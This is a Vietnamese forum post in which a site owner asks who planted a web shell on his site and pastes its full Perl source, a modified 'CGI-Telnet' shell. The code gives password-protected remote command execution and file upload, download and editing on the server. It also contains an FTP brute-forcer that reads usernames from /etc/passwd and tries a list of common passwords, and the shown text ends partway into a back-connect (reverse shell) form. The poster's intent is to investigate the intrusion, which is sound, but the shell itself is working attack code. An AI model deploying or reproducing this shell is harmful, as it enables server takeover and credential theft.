Help Shell ?

dakhucquan.net

MasterCorporal
Tham gia
27/06/2015
Bài viết
336
Được Like
151
Tìm ra được mail thằng up shell này ko các bác nhỉ?
Cái web cùi bắp thôi mà ko biết nó chèn làm gì

Mã:
#!/usr/bin/perl -I/usr/local/bandmin
use MIME::Base64;
$Version= "CGI-Telnet Version 1.3";
$EditPersion="<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0); color:#ffffff; font-weight:bold;'>MIsss</font>";

$Password = "svn";            # Change this. You will need to enter this
                # to login.
sub Is_Win(){
    $os = &trim($ENV{"SERVER_SOFTWARE"});
    if($os =~ m/win/i){
        return 1;
    }
    else{
        return 0;
    }
}
$WinNT = &Is_Win();                # You need to change the value of this to 1 if
                                # you're running this script on a Windows NT
                                # machine. If you're running it on Unix, you
                                # can leave the value as it is.

$NTCmdSep = "&";                # This character is used to seperate 2 commands
                                # in a command line on Windows NT.

$UnixCmdSep = ";";                # This character is used to seperate 2 commands
                                # in a command line on Unix.

$CommandTimeoutDuration = 10000;    # Time in seconds after commands will be killed
                                # Don't set this to a very large value. This is
                                # useful for commands that may hang or that
                                # take very long to execute, like "find /".
                                # This is valid only on Unix servers. It is
                                # ignored on NT Servers.

$ShowDynamicOutput = 1;            # If this is 1, then data is sent to the
                                # browser as soon as it is output, otherwise
                                # it is buffered and send when the command
                                # completes. This is useful for commands like
                                # ping, so that you can see the output as it
                                # is being generated.

# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!

$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
$CmdPwd = ($WinNT ? "cd" : "pwd");
$PathSep = ($WinNT ? "\\" : "/");
$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
$cols= 150;
$rows= 26;
#------------------------------------------------------------------------------
# Reads the input sent by the browser and parses the input variables. It
# parses GET, POST and multipart/form-data that is used for uploading files.
# The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
# Other variables can be accessed using $in{'var'}, where var is the name of
# the variable. Note: Most of the code in this function is taken from other CGI
# scripts.
#------------------------------------------------------------------------------
sub ReadParse
{
    local (*in) = @_ if @_;
    local ($i, $loc, $key, $val);
 
    $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;

    if($ENV{'REQUEST_METHOD'} eq "GET")
    {
        $in = $ENV{'QUERY_STRING'};
    }
    elsif($ENV{'REQUEST_METHOD'} eq "POST")
    {
        binmode(STDIN) if $MultipartFormData & $WinNT;
        read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
    }

    # handle file upload data
    if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
    {
        $Boundary = '--'.$1; # please refer to RFC1867
        @list = split(/$Boundary/, $in);
        $HeaderBody = $list[1];
        $HeaderBody =~ /\r\n\r\n|\n\n/;
        $Header = $`;
        $Body = $';
         $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
        $in{'filedata'} = $Body;
        $Header =~ /filename=\"(.+)\"/;
        $in{'f'} = $1;
        $in{'f'} =~ s/\"//g;
        $in{'f'} =~ s/\s//g;

        # parse trailer
        for($i=2; $list[$i]; $i++)
        {
            $list[$i] =~ s/^.+name=$//;
            $list[$i] =~ /\"(\w+)\"/;
            $key = $1;
            $val = $';
            $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
            $val =~ s/%(..)/pack("c", hex($1))/ge;
            $in{$key} = $val;
        }
    }
    else # standard post data (url encoded, not multipart)
    {
        @in = split(/&/, $in);
        foreach $i (0 .. $#in)
        {
            $in[$i] =~ s/\+/ /g;
            ($key, $val) = split(/=/, $in[$i], 2);
            $key =~ s/%(..)/pack("c", hex($1))/ge;
            $val =~ s/%(..)/pack("c", hex($1))/ge;
            $in{$key} .= "\0" if (defined($in{$key}));
            $in{$key} .= $val;
        }
    }
}

#------------------------------------------------------------------------------
# Prints the HTML Page Header
# Argument 1: Form item name to which focus should be set
#------------------------------------------------------------------------------
sub PrintPageHeader
{
    $EncodedCurrentDir = $CurrentDir;
    $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
    my $dir =$CurrentDir;
    $dir=~ s/\\/\\\\/g;
    print "Content-type: text/html\n\n";
    print <<END;
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>Edit by MIsss</title>

$HtmlMetaHeader

</head>
<style>
body{
font: 10pt Verdana;
}
tr {
BORDER-RIGHT:  #3e3e3e 1px solid;
BORDER-TOP:    #3e3e3e 1px solid;
BORDER-LEFT:   #3e3e3e 1px solid;
BORDER-BOTTOM: #3e3e3e 1px solid;
color: #ff9900;
}
td {
BORDER-RIGHT:  #3e3e3e 1px solid;
BORDER-TOP:    #3e3e3e 1px solid;
BORDER-LEFT:   #3e3e3e 1px solid;
BORDER-BOTTOM: #3e3e3e 1px solid;
color: #2BA8EC;
font: 10pt Verdana;
}

table {
BORDER-RIGHT:  #3e3e3e 1px solid;
BORDER-TOP:    #3e3e3e 1px solid;
BORDER-LEFT:   #3e3e3e 1px solid;
BORDER-BOTTOM: #3e3e3e 1px solid;
BACKGROUND-COLOR: #111;
}


input {
BORDER-RIGHT:  #3e3e3e 1px solid;
BORDER-TOP:    #3e3e3e 1px solid;
BORDER-LEFT:   #3e3e3e 1px solid;
BORDER-BOTTOM: #3e3e3e 1px solid;
BACKGROUND-COLOR: Black;
font: 10pt Verdana;
color: #ff9900;
}

input.submit {
text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
color: #FFFFFF;
border-color: #009900;
}

code {
border            : dashed 0px #333;
BACKGROUND-COLOR: Black;
font: 10pt Verdana bold;
color: while;
}

run {
border            : dashed 0px #333;
font: 10pt Verdana bold;
color: #FF00AA;
}

textarea {
BORDER-RIGHT:  #3e3e3e 1px solid;
BORDER-TOP:    #3e3e3e 1px solid;
BORDER-LEFT:   #3e3e3e 1px solid;
BORDER-BOTTOM: #3e3e3e 1px solid;
BACKGROUND-COLOR: #1b1b1b;
font: Fixedsys bold;
color: #aaa;
}
A:link {
    COLOR: #2BA8EC; TEXT-DECORATION: none
}
A:visited {
    COLOR: #2BA8EC; TEXT-DECORATION: none
}
A:hover {
    text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
    color: #ff9900; TEXT-DECORATION: none
}
A:active {
    color: Red; TEXT-DECORATION: none
}

.listdir tr:hover{
    background: #444;
}
.listdir tr:hover td{
    background: #444;
    text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
    color: #FFFFFF; TEXT-DECORATION: none;
}
.notline{
    background: #111;
}
.line{
    background: #222;
}
</style>
<script language="javascript">
function chmod_form(i,file)
{
    /*var ajax='ajax_PostData("FormPerms_'+i+'","$ScriptLocation","ResponseData"); return false;';*/
    var ajax="";
    document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + "  name=chmod type=text size=5 /><input type=submit class='submit' onclick='" + ajax + "' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$dir'><input type=hidden name=f value='"+file+"'></form>";
    document.getElementById("text_" + i).focus();
}
function rm_chmod_form(response,i,perms,file)
{
    response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
}
function rename_form(i,file,f)
{
    var ajax="";
    f.replace(/\\\\/g,"\\\\\\\\");
    var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
    document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + "  name=rename type=text value= '"+file+"' /><input type=submit class='submit' onclick='" + ajax + "' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$dir'><input type=hidden name=f value='"+file+"'></form>";
    document.getElementById("text_" + i).focus();
}
function rm_rename_form(i,file,f)
{
    if(f=='f')
    {
        document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$dir&c=edit%20"+file+"%20'>" +file+ "</a>";
    }else
    {
        document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
    }
}
</script>
<body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
<center><code>
<table border="1" width="100%" cellspacing="0" cellpadding="2">
<tr>
    <td align="center" rowspan=2>
        <b><font size="5">$EditPersion</font></b>
    </td>

    <td>

        <font face="Verdana" size="2">$ENV{"SERVER_SOFTWARE"}</font>
    </td>
    <td>Server IP:<font color="#cc0000"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="#000000">$ENV{'REMOTE_ADDR'}</font>
    </td>

</tr>

<tr>
<td colspan="3"><font face="Verdana" size="2">
<a href="$ScriptLocation">Home</a> |
<a href="$ScriptLocation?a=command&d=$EncodedCurrentDir">Command</a> |
<a href="$ScriptLocation?a=gui&d=$EncodedCurrentDir">GUI</a> |
<a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File</a> |
<a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File</a> |

<a href="$ScriptLocation?a=backbind">Back & Bind</a> |
<a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
<a href="$ScriptLocation?a=checklog">Check Log</a> |
<a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
<a href="$ScriptLocation?a=logout">Logout</a> |
<a target='_blank' href="#">Help</a>

</font></td>
</tr>
</table>
<font id="ResponseData" color="#ff99cc" >
END
}

#------------------------------------------------------------------------------
# Prints the Login Screen
#------------------------------------------------------------------------------
sub PrintLoginScreen
{

    print <<END;
<pre><script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
  if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
    this.running = true;    // Never run.
    return;
  }
  this.element = element;
  this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  this.interval = (typeof interval == "undefined" ? 100 : interval);
  this.origText = this.element.innerHTML;
  this.unparsedOrigText = this.origText;
  this.cursor = (cursor ? cursor : "");
  this.currentText = "";
  this.currentChar = 0;
  this.element.typingText = this;
  if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  TypingText.all.push(this);
  this.running = false;
  this.inTag = false;
  this.tagBuffer = "";
  this.inHTMLEntity = false;
  this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
  for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
  if(this.running) return;
  if(typeof this.origText == "undefined") {
    setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);    // We haven't finished loading yet.  Have patience.
    return;
  }
  if(this.currentText == "") this.element.innerHTML = "";
//  this.origText = this.origText.replace(/<([^<])*>/, "");     // Strip HTML from text.
  if(this.currentChar < this.origText.length) {
    if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
      this.tagBuffer = "<";
      this.inTag = true;
      this.currentChar++;
      this.run();
      return;
    } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
      this.tagBuffer += ">";
      this.inTag = false;
      this.currentText += this.tagBuffer;
      this.currentChar++;
      this.run();
      return;
    } else if(this.inTag) {
      this.tagBuffer += this.origText.charAt(this.currentChar);
      this.currentChar++;
      this.run();
      return;
    } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
      this.HTMLEntityBuffer = "&";
      this.inHTMLEntity = true;
      this.currentChar++;
      this.run();
      return;
    } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
      this.HTMLEntityBuffer += ";";
      this.inHTMLEntity = false;
      this.currentText += this.HTMLEntityBuffer;
      this.currentChar++;
      this.run();
      return;
    } else if(this.inHTMLEntity) {
      this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
      this.currentChar++;
      this.run();
      return;
    } else {
      this.currentText += this.origText.charAt(this.currentChar);
    }
    this.element.innerHTML = this.currentText;
    this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
    this.currentChar++;
    setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  } else {
    this.currentText = "";
    this.currentChar = 0;
        this.running = false;
        this.finishedCallback();
  }
}
</script>
</pre>

<font style="font: 15pt Verdana; color: yellow;">Copyright (C) 2001 Rohitab Batra </font><br><br>
<table align="center" border="1" width="600" heigh>
<tbody><tr>
<td valign="top" background="http://dl.dropbox.com/u/10860051/images/matran.gif"><p id="hack" style="margin-left: 3px;">
<font color="#009900"> Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font> <br>

<font color="#009900"> Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font><br>
<font color="#F00000"><font color="#FFF000">~\$</font> Connected ! </font><br>
<font color="#009900"><font color="#FFF000">$ServerName~</font> Checking Server . . . . . . . . . . . . . . . . . . .</font> <br>

<font color="#009900"><font color="#FFF000">$ServerName~</font> Trying connect to Command . . . . . . . . . . .</font><br>

<font color="#F00000"><font color="#FFF000">$ServerName~</font>\$ Connected Command! </font><br>
<font color="#009900"><font color="#FFF000">$ServerName~<font color="#F00000">\$</font></font> OK! You can kill it!</font>
</tr>
</tbody></table>
<br>

<script type="text/javascript">
new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
TypingText.runAll();

</script>
END
}

#------------------------------------------------------------------------------
# Add html special chars
#------------------------------------------------------------------------------
sub HtmlSpecialChars($){
    my $text = shift;
    $text =~ s/&/&amp;/g;
    $text =~ s/"/&quot;/g;
    $text =~ s/'/&#039;/g;
    $text =~ s/</&lt;/g;
    $text =~ s/>/&gt;/g;
    return $text;
}
#------------------------------------------------------------------------------
# Add link for directory
#------------------------------------------------------------------------------
sub AddLinkDir($)
{
    my $ac=shift;
    my @dir=();
    if($WinNT)
    {
        @dir=split(/\\/,$CurrentDir);
    }else
    {
        @dir=split("/",&trim($CurrentDir));
    }
    my $path="";
    my $result="";
    foreach (@dir)
    {
        $path .= $_.$PathSep;
        $result.="<a href='?a=".$ac."&d=".$path."'>".$_.$PathSep."</a>";
    }
    return $result;
}
#------------------------------------------------------------------------------
# Prints the message that informs the user of a failed login
#------------------------------------------------------------------------------
sub PrintLoginFailedMessage
{
    print <<END;
<br>Login : Administrator<br>

Password:<br>
Login incorrect<br><br>
END
}

#------------------------------------------------------------------------------
# Prints the HTML form for logging in
#------------------------------------------------------------------------------
sub PrintLoginForm
{
    print <<END;
<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="a" value="login">
Login : Administrator<br>
Password:<input type="password" name="p">
<input class="submit" type="submit" value="Enter">
</form>
END
}

#------------------------------------------------------------------------------
# Prints the footer for the HTML Page
#------------------------------------------------------------------------------
sub PrintPageFooter
{
    print "<br><font color=red>o---[  <font color=#ff9900>Edit by $EditPersion </font>  ]---o</font></code></center></body></html>";
}

#------------------------------------------------------------------------------
# Retreives the values of all cookies. The cookies can be accesses using the
# variable $Cookies{''}
#------------------------------------------------------------------------------
sub GetCookies
{
    @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
    foreach $cookie(@httpcookies)
    {
        ($id, $val) = split(/=/, $cookie);
        $Cookies{$id} = $val;
    }
}

#------------------------------------------------------------------------------
# Prints the screen when the user logs out
#------------------------------------------------------------------------------
sub PrintLogoutScreen
{
    print "Connection closed by foreign host.<br><br>";
}

#------------------------------------------------------------------------------
# Logs out the user and allows the user to login again
#------------------------------------------------------------------------------
sub PerformLogout
{
    print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
    &PrintPageHeader("p");
    &PrintLogoutScreen;

    &PrintLoginScreen;
    &PrintLoginForm;
    &PrintPageFooter;
    exit;
}

#------------------------------------------------------------------------------
# This function is called to login the user. If the password matches, it
# displays a page that allows the user to run commands. If the password doens't
# match or if no password is entered, it displays a form that allows the user
# to login
#------------------------------------------------------------------------------
sub PerformLogin
{
    if($LoginPassword eq $Password) # password matched
    {
        print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
        &PrintPageHeader;
        print &ListDir;
    }
    else # password didn't match
    {
        &PrintPageHeader("p");
        &PrintLoginScreen;
        if($LoginPassword ne "") # some password was entered
        {
            &PrintLoginFailedMessage;

        }
        &PrintLoginForm;
        &PrintPageFooter;
        exit;
    }
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to enter commands
#------------------------------------------------------------------------------
sub PrintCommandLineInputForm
{
    my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
    $Prompt = $WinNT ? "$dir > " : "<font color='#66ff66'>[admin\@$ServerName $dir]\$</font> ";
    return <<END;
<form name="f" method="POST" action="$ScriptLocation">

<input type="hidden" name="a" value="command">

<input type="hidden" name="d" value="$CurrentDir">
$Prompt
<input type="text" size="50" name="c">
<input class="submit"type="submit" value="Enter">
</form>
END
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to download files
#------------------------------------------------------------------------------
sub PrintFileDownloadForm
{
    my $dir = &AddLinkDir("download");
    $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
    return <<END;
<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="d" value="$CurrentDir">
<input type="hidden" name="a" value="download">
$Prompt download<br><br>
Filename: <input class="file" type="text" name="f" size="35"><br><br>
Download: <input class="submit" type="submit" value="Begin">

</form>
END
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to upload files
#------------------------------------------------------------------------------
sub PrintFileUploadForm
{
    my $dir= &AddLinkDir("upload");
    $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
    return <<END;
<form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
$Prompt upload<br><br>
Filename: <input class="file" type="file" name="f" size="35"><br><br>
Options: &nbsp;<input type="checkbox" name="o" id="up" value="overwrite">
<label for="up">Overwrite if it Exists</label><br><br>
Upload:&nbsp;&nbsp;&nbsp;<input class="submit" type="submit" value="Begin">
<input type="hidden" name="d" value="$CurrentDir">
<input class="submit" type="hidden" name="a" value="upload">

</form>

END
}

#------------------------------------------------------------------------------
# This function is called when the timeout for a command expires. We need to
# terminate the script immediately. This function is valid only on Unix. It is
# never called when the script is running on NT.
#------------------------------------------------------------------------------
sub CommandTimeout
{
    if(!$WinNT)
    {
        alarm(0);
        return <<END;
</textarea>
<br><font color=yellow>
Command exceeded maximum time of $CommandTimeoutDuration second(s).</font>
<br><font size='6' color=red>Killed it!</font>
END
    }
}



#------------------------------------------------------------------------------
# This function displays the page that contains a link which allows the user
# to download the specified file. The page also contains a auto-refresh
# feature that starts the download automatically.
# Argument 1: Fully qualified filename of the file to be downloaded
#------------------------------------------------------------------------------
sub PrintDownloadLinkPage
{
    local($FileUrl) = @_;
    my $result="";
    if(-e $FileUrl) # if the file exists
    {
        # encode the file link so we can send it to the browser
        $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
        $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
        $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
        &PrintPageHeader("c");
        $result .= <<END;
Sending File $TransferFile...<br>

If the download does not start automatically,
<a href="$DownloadLink">Click Here</a>
END
        $result .= &PrintCommandLineInputForm;
    }
    else # file doesn't exist
    {
        $result .= "Failed to download $FileUrl: $!";
        $result .= &PrintFileDownloadForm;
    }
    return $result;
}

#------------------------------------------------------------------------------
# This function reads the specified file from the disk and sends it to the
# browser, so that it can be downloaded by the user.
# Argument 1: Fully qualified pathname of the file to be sent.
#------------------------------------------------------------------------------
sub SendFileToBrowser
{
    my $result = "";
    local($SendFile) = @_;
    if(open(SENDFILE, $SendFile)) # file opened for reading
    {
        if($WinNT)
        {
            binmode(SENDFILE);
            binmode(STDOUT);
        }
        $FileSize = (stat($SendFile))[7];
        ($Filename = $SendFile) =~  m!([^/^\\]*)$!;
        print "Content-Type: application/x-unknown\n";
        print "Content-Length: $FileSize\n";
        print "Content-Disposition: attachment; filename=$1\n\n";
        print while(<SENDFILE>);
        close(SENDFILE);
        exit(1);
    }
    else # failed to open file
    {
        $result .= "Failed to download $SendFile: $!";
        $result .=&PrintFileDownloadForm;
    }
    return $result;
}


#------------------------------------------------------------------------------
# This function is called when the user downloads a file. It displays a message
# to the user and provides a link through which the file can be downloaded.
# This function is also called when the user clicks on that link. In this case,
# the file is read and sent to the browser.
#------------------------------------------------------------------------------
sub BeginDownload
{
    # get fully qualified path of the file to be downloaded
    if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
        (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
    {
        $TargetFile = $TransferFile;
    }
    else # path is relative
    {
        chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
        $TargetFile .= $PathSep.$TransferFile;
    }

    if($Options eq "go") # we have to send the file
    {
        &SendFileToBrowser($TargetFile);
    }
    else # we have to send only the link page
    {
        &PrintDownloadLinkPage($TargetFile);
    }
}

#------------------------------------------------------------------------------
# This function is called when the user wants to upload a file. If the
# file is not specified, it displays a form allowing the user to specify a
# file, otherwise it starts the upload process.
#------------------------------------------------------------------------------
sub UploadFile
{
    # if no file is specified, print the upload form again
    if($TransferFile eq "")
    {
        return &PrintFileUploadForm;

    }
    my $result="";
    # start the uploading process
    $result .= "Uploading $TransferFile to $CurrentDir...<br>";

    # get the fullly qualified pathname of the file to be created
    chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
    $TransferFile =~ m!([^/^\\]*)$!;
    $TargetName .= $PathSep.$1;

    $TargetFileSize = length($in{'filedata'});
    # if the file exists and we are not supposed to overwrite it
    if(-e $TargetName && $Options ne "overwrite")
    {
        $result .= "Failed: Destination file already exists.<br>";
    }
    else # file is not present
    {
        if(open(UPLOADFILE, ">$TargetName"))
        {
            binmode(UPLOADFILE) if $WinNT;
            print UPLOADFILE $in{'filedata'};
            close(UPLOADFILE);
            $result .= "Transfered $TargetFileSize Bytes.<br>";
            $result .= "File Path: $TargetName<br>";
        }
        else
        {
            $result .= "Failed: $!<br>";
        }
    }
    $result .= &PrintCommandLineInputForm;
    return $result;
}

#------------------------------------------------------------------------------
# This function is called when the user wants to download a file. If the
# filename is not specified, it displays a form allowing the user to specify a
# file, otherwise it displays a message to the user and provides a link
# through  which the file can be downloaded.
#------------------------------------------------------------------------------
sub DownloadFile
{
    # if no file is specified, print the download form again
    if($TransferFile eq "")
    {
        &PrintPageHeader("f");
        return &PrintFileDownloadForm;
    }
 
    # get fully qualified path of the file to be downloaded
    if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
    {
        $TargetFile = $TransferFile;
    }
    else # path is relative
    {
        chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
        $TargetFile .= $PathSep.$TransferFile;
    }

    if($Options eq "go") # we have to send the file
    {
        return &SendFileToBrowser($TargetFile);
    }
    else # we have to send only the link page
    {
        return &PrintDownloadLinkPage($TargetFile);
    }
}


#------------------------------------------------------------------------------
# This function is called to execute commands. It displays the output of the
# command and allows the user to enter another command. The change directory
# command is handled differently. In this case, the new directory is stored in
# an internal variable and is used each time a command has to be executed. The
# output of the change directory command is not displayed to the users
# therefore error messages cannot be displayed.
#------------------------------------------------------------------------------
sub ExecuteCommand
{
    my $result="";
    if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
    {
        # we change the directory internally. The output of the
        # command is not displayed.
        $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
        chop($CurrentDir = `$Command`);
        $result .= &PrintCommandLineInputForm;

        $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
        # xuat thong tin khi chuyen den 1 thu muc nao do!
        $RunCommand= $WinNT?"dir":"dir -lia";
        $result .= &RunCmd;
    }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
    {
        $result .=  &SaveFileForm;
    }else
    {
        $result .= &PrintCommandLineInputForm;
        $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
        $result .=&RunCmd;
    }
    $result .=  "</textarea>";
    return $result;
}

#------------------------------------------------------------------------
# run command
#------------------------------------------------------------------------

sub RunCmd
{
    my $result="";
    $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
    if(!$WinNT)
    {
        $SIG{'ALRM'} = \&CommandTimeout;
        alarm($CommandTimeoutDuration);
    }
    if($ShowDynamicOutput) # show output as it is generated
    {
        $|=1;
        $Command .= " |";
        open(CommandOutput, $Command);
        while(<CommandOutput>)
        {
            $_ =~ s/(\n|\r\n)$//;
            $result .= &HtmlSpecialChars("$_\n");
        }
        $|=0;
    }
    else # show output after command completes
    {
        $result .= &HtmlSpecialChars('$Command');
    }
    if(!$WinNT)
    {
        alarm(0);
    }
    return $result;
}
#==============================================================================
# Form Save File
#==============================================================================
sub SaveFileForm
{
    my $result ="";
    substr($RunCommand,0,5)="";
    my $file=&trim($RunCommand);
    $save='<br><input name="a" type="submit" value="save" class="submit" >';
    $File=$CurrentDir.$PathSep.$RunCommand;
    my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
    if(-w $File)
    {
        $rows="23"
    }else
    {
        $msg="<br><font style='font: 15pt Verdana; color: yellow;' > Permission denied!<font><br>";
        $rows="20"
    }
    $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
    $read=($WinNT)?"type":"less";
    $RunCommand = "$read \"$RunCommand\"";
    $result .=  <<END;
    <form name="f" method="POST" action="$ScriptLocation">

    <input type="hidden" name="d" value="$CurrentDir">
    $Prompt
    <input type="text" size="40" name="c">
    <input name="s" class="submit" type="submit" value="Enter">
    <br>Command: <run> $RunCommand </run>
    <input type="hidden" name="file" value="$file" > $save <br> $msg
    <br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
END
 
    $result .= &RunCmd;
    $result .=  "</textarea>";
    $result .=  "</form>";
    return $result;
}
#==============================================================================
# Save File
#==============================================================================
sub SaveFile($)
{
    my $Data= shift ;
    my $File= shift;
    $File=$CurrentDir.$PathSep.$File;
    if(open(FILE, ">$File"))
    {
        binmode FILE;
        print FILE $Data;
        close FILE;
        return 1;
    }else
    {
        return 0;
    }
}
#------------------------------------------------------------------------------
# Brute Forcer Form
#------------------------------------------------------------------------------
sub BruteForcerForm
{
    my $result="";
    $result .= <<END;

<table>

<tr>
<td colspan="2" align="center">
####################################<br>
Simple FTP brute forcer<br>
####################################
<form name="f" method="POST" action="$ScriptLocation">

<input type="hidden" name="a" value="bruteforcer"/>
</td>
</tr>
<tr>
<td>User:<br><textarea rows="18" cols="30" name="user">
END
chop($result .= `less /etc/passwd | cut -d: -f1`);
$result .= <<'END';
</textarea></td>
<td>

Pass:<br>
<textarea rows="18" cols="30" name="pass">123pass
123!@#
123admin
123abc
123456admin
1234554321
12344321
pass123
admin
admincp
administrator
matkhau
passadmin
p@ssword
p@ssw0rd
password
123456
1234567
12345678
123456789
1234567890
111111
000000
222222
333333
444444
555555
666666
777777
888888
999999
123123
234234
345345
456456
567567
678678
789789
123321
456654
654321
7654321
87654321
987654321
0987654321
admin123
admin123456
abcdef
abcabc
!@#!@#
!@#$%^
!@#$%^&*(
!@#$$#@!
abc123
anhyeuem
iloveyou</textarea>
</td>
</tr>
<tr>
<td colspan="2" align="center">
Sleep:<select name="sleep">

<option>0</option>
<option>1</option>
<option>2</option>

<option>3</option>
</select>
<input type="submit" class="submit" value="Brute Forcer"/></td></tr>
</form>
</table>
END
return $result;
}
#------------------------------------------------------------------------------
# Brute Forcer
#------------------------------------------------------------------------------
sub BruteForcer
{
    my $result="";
    $Server=$ENV{'SERVER_ADDR'};
    if($in{'user'} eq "")
    {
        $result .= &BruteForcerForm;
    }else
    {
        use Net::FTP;
        @user= split(/\n/, $in{'user'});
        @pass= split(/\n/, $in{'pass'});
        chomp(@user);
        chomp(@pass);
        $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
        foreach $username (@user)
        {
            if(!($username eq ""))
            {
                foreach $password (@pass)
                {
                    $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
                    if($ftp->login("$username","$password"))
                    {
                        $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
                        $ftp->quit();
                        break;
                    }
                    if(!($in{'sleep'} eq "0"))
                    {
                        sleep(int($in{'sleep'}));
                    }
                    $ftp->quit();
                }
            }
        }
        $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
    }
    return $result;
}
#------------------------------------------------------------------------------
# Backconnect Form
#------------------------------------------------------------------------------
sub BackBindForm
{
    return <<END;
    <br><br>

    <table>
    <tr>
    <form name="f" method="POST" action="$ScriptLocation">
    <td>BackConnect: <input type="hidden" name="a" value="backbind"></td>
    <td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
